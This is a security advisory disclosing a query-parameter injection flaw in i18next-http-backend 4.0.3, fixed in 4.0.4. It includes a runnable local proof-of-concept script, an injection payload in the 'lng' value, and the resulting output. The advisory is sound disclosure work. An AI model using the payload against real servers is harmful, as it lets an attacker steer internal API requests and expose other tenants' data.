GHSA-3cmx-xjww-583x

Description

### Summary The URL-segment check added for GHSA-q89c-q3h5-w34g blocks `?`, `#`, `%`, `:`, `/` and `@` in `lng`, but not `&` or `=`, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form `/locales/resources.json?lng=de+en&ns=ns1+ns2`. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from `?lng=`, a cookie or `Accept-Language`. This is the "query-string injection" impact described in GHSA-q89c; only the `?` form was closed. Server side (Express + i18next-http-middleware, default options), `GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue` makes the application request `…?lng=de&ns=private&admin=true&ns=common` from its own translations API. ### Details The checks are in `lib/utils.js`. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects: - empty or >128-character values and prototype keys; - `..` and `\`; - `/[?#%:\s]/`; - control characters. `isSafeLangUrlSegment` (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only `/` and `@`. **Neither function rejects `&` or `=`.** ```js if (/[?#%:\s]/.test(v)) return false // utils.js L40, no & or = ``` `interpolateUrl` then splits on `+`, checks each segment, and joins the **raw** segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174). Call sites: - `_readAny` builds the load URL with `interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64 - `create` builds the missing-key URL with `interpolateUrl(addPath, { lng, ns })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133 The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read `?lng=`, cookies, `localStorage` and request headers. i18next-http-middleware's `LanguageDetector` does the same on the server. Where `?` is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, `&` and `=` are the separators, so they must be rejected or encoded too. **Suggested fix.** Reject `&` and `=` (and `;`) in both `lng` and `ns`; no BCP-47 language code or usable i18next namespace contains them. Alternatively, `encodeURIComponent` each `+`-joined segment when the placeholder appears after `?` in the template. ### Proof of concept How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app): 1. `mkdir i18next-poc && cd i18next-poc` 2. `npm init -y` 3. `npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0` 4. Save the script below as `poc.mjs` 5. `node poc.mjs` ```js // i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts // {{lng}} in the query string (README multiload shape) gets extra parameters. // Everything runs on 127.0.0.1: a fake translations API and an Express app. import http from 'node:http' import express from 'express' import i18next from 'i18next' import Backend from 'i18next-http-backend' import middleware from 'i18next-http-middleware' const seen = [] const api = http.createServer((req, res) => { seen.push(req.url) res.setHeader('content-type', 'application/json') res.end('{"hello":"hi"}') }) await new Promise((r) => api.listen(0, '127.0.0.1', r)) const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}` const wait = () => new Promise((r) => setTimeout(r, 200)) // 1) Direct: lng values passed to i18next as-is. console.log('[1] direct init') for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) { seen.length = 0 await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } }) console.log(` lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`) } // 2) Server side: language taken from the request by i18next-http-middleware (default options). console.log('[2] Express + i18next-http-middleware LanguageDetector') const i18n = i18next.createInstance() await i18n.use(Backend).use(middleware.LanguageDetector) .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } }) const app = express() app.use(middleware.handle(i18n)) app.get('/', (req, res) => res.send(req.t('hello'))) const web = app.listen(0, '127.0.0.1') await new Promise((r) => web.on('listening', r)) await wait() for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) { seen.length = 0 await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text()) await wait() console.log(` GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`) } web.close() api.close() ``` Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22): ``` [1] direct init lng="de" -> API got: /locales/resources.json?lng=de&ns=common lng="de?admin=true" -> API got: (no request, refused) lng="de&ns=private&admin=true" -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common [2] Express + i18next-http-middleware LanguageDetector GET /?lng=de -> API got: /locales/resources.json?lng=de&ns=common GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common ``` The `?` control is refused by the existing fix. The `&` form passes and reaches the API with injected `ns=private&admin=true`. ### Impact This is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests: - **Server side** (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (`ns`, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour. - **Browser side**: a crafted link (`?lng=…`) does the same to the victim's same-origin request. Applications using the default path template `/locales/{{lng}}/{{ns}}.json`, or a `supportedLngs` allowlist, are not affected. credit to Adrian Korwel. ## Maintainer note Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e). **Preconditions.** The `loadPath` / `addPath` template must put `{{lng}}` or `{{ns}}` in the query string (for example `/locales/resources.json?lng={{lng}}&ns={{ns}}`, the multiload shape), and the attacker must control the language or namespace value. The default `/locales/{{lng}}/{{ns}}.json` and other path-only templates are not affected, nor are applications that restrict languages with `supportedLngs`. The impact depends on what the translations API does with the injected parameters. **Fix.** `&`, `=` and `;` are now rejected in both `lng` and `ns` values, in addition to the `?`, `#`, `%` and `:` rejected before. No language code or usable namespace name contains them. `+`-joined multiload values such as `de+en` keep working, verified end to end with i18next-multiload-backend-adapter. **Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `< 4.0.4`. **Related.** i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.